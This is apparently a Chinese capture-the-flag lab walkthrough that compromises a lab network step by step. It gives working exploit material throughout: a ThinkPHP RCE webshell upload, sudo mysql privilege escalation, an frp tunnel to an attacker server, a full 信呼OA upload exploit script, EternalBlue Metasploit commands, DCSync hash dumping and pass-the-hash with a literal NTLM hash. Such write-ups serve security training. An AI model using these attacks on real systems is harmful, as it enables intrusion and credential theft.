漏洞点

  • thinkphp 5.0.23 RCE
  • mysql命令提权
  • 信呼nday
  • ms17-010(永恒之蓝)
  • DCSync

拿到ip后使用fscan扫描fscan -h 39.99.237.93发现存在thinkphp的rce

flag01

  1. 使用thinkphp利用工具
    https://github.com/Lotus6/ThinkphpGUI
  2. 检测漏洞
  3. 利用漏洞上传一句话木马
  4. 使用蚁剑连接,密码为peiqi
    执行id ,发现用户为www-data的低权限用户
    使用sudo -l命令发现mysql无需密码就可提权
  5. 提权
    使用命令找到flag01目录
    sudo mysql -e '\! find / -name flag*'
    查看flag01
    sudo mysql -e '\! cat /root/flag/f*'

flag02

使用ifconfig查看ip ,看到39.99.237.93还有内网ip172.22.1.15

  1. 内网扫描
    上传fscan到tmp目录下,所有用户tmp目录都可写。

    扫描存活主机fscan -h 172.22.1.0/24,执行命令后会生成result.txt

    得到结果
    172.22.1.2 DC
    172.22.1.18 信呼OA
    172.22.1.21 MS17-010

  2. frp内网穿透
    由于本机无法直接访问目标内网服务,需要将拿下的第一台机器172.22.1.15的内网流量转发到攻击者的公网服务器上,本机再使用代理工具就可以访问内网服务了;

  3. 172.22.1.15执行如下命令(公网服务器先执行监听,内网ip后执行)
    ./frpc -c frpc.toml
    frpc.toml配置如下

1
2
3
4
5
6
7
8
9
serverAddr = "公网ip"
serverPort = 7777#监听端口
[[proxies]]
name = "test-tcp"
type = "tcp"
plugin = "socks5"
localIP = "172.22.1.15"#内网ip
localPort = 80
remotePort = 6000#远程连接端口
  1. 公网IP执行如下命令
    ./frps -c frps.toml
    执行前需要chmod 777 frps 给予其执行权限
    配置监听7777端口即可

    当内网ip执行命令后回显如下

  2. 使用Proxifier代理工具
    配置代理服务器
    地址为攻击者公网ip、端口为监听端口

    填好后先点击左下角的检查看看是否代理成功
    配置代理规则

    配置完成后本机即可访问其他内网资源

  3. 访问172.22.1.18 信呼OA
    存在admin/admin123弱口令,登陆后如下


    搜索OA版本号即可找到漏洞exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
 import requests
session = requests.session()
url_pre = 'http://172.22.1.18/'
url1 = url_pre + '?a=check&m=login&d=&ajaxbool=true&rnd=533953'
url2 = url_pre + '/index.php?a=upfile&m=upload&d=public&maxsize=100&ajaxbool=true&rnd=798913'
url3 = url_pre + '/task.php?m=qcloudCos|runt&a=run&fileid=11'
data1 = {
'rempass': '0',
'jmpass': 'false',
'device': '1625884034525',
'ltype': '0',
'adminuser': 'YWRtaW4=',
'adminpass': 'YWRtaW4xMjM=',
'yanzm': ''
}
r = session.post(url1, data=data1)
r = session.post(url2, files={'file': open('1.php', 'r+')})
filepath = str(r.json()['filepath'])
filepath = "/" + filepath.split('.uptemp')[0] + '.php'
id = r.json()['id']
url3 = url_pre + f'/task.php?m=qcloudCos|runt&a=run&fileid={id}'
r = session.get(url3)
r = session.get(url_pre + filepath + "?1=system('dir")
print(r.text)
print(filepath)
  1. 使用172.22.1.15机器执行exp
    执行前需在和脚本同一目录下放一个1.php的一句话木马
    执行成功后就可以连接一句话木马,链接如图
  2. 连接一句话木马后,查找flag
    执行命令dir C:\flag* /s /p查找C盘下的文件,找到flag02文件


    提示下一个flag在域控中

flag03

前面fscan扫描得到172.22.1.21 存在MS17-010永恒之蓝,由于没有直接登录域控的方法,可以通过ms17-010拿到21机器的shell,然后利用Dcsync滥用获取管理员hash,横向移动登录域控查看flag03

  1. 配置kali代理
    vim /etc/proxychains4.conf
  2. 代理启动msf
    proxychains4 msfconsole
  3. 漏洞利用->获得21机器system权限的shell
    use exploit/windows/smb/ms17_010_eternalblue
    set payload windows/x64/meterpreter/bind_tcp_uuid
    set RHOSTS 172.22.1.21
    run
  4. Dcsync滥用获取hash
    DCSync攻击:
    DCSync的原理是利用域控制器之间的数据同步复制
    DCSync是AD域渗透中常用的凭据窃取手段,默认情况下,域内不同DC每隔15分钟会进行一次数据同步,当一个DC从另外一个DC同步数据时,发起请求的一方会通过目录复制协议(MS- DRSR)来对另外一台域控中的域用户密码进行复制,DCSync就是利用这个原理,“模拟”DC向真实DC发送数据同步请求,获取用户凭据数据,由于这种攻击利用了Windows RPC协议,并不需要登陆域控或者在域控上落地文件,避免触发EDR告警,因此DCSync时一种非常隐蔽的凭据窃取方式
    用kali加载kiwi模块以便于Dcsync利用
    load kiwi kiwi_cmd “lsadump::dcsync /domain:xiaorang.lab /all /csv” exit`

    得到所有用户hash
  5. 横向移动查看flag03
    使用crackmapexec横向移动
    proxychains4 crackmapexec smb 172.22.1.2 -u administrator -H10cf89a850fb1cdbe6bb432b859164c8 -d xiaorang.lab -x "type Users\Administrator\flag\flag03.txt"

    得到flag03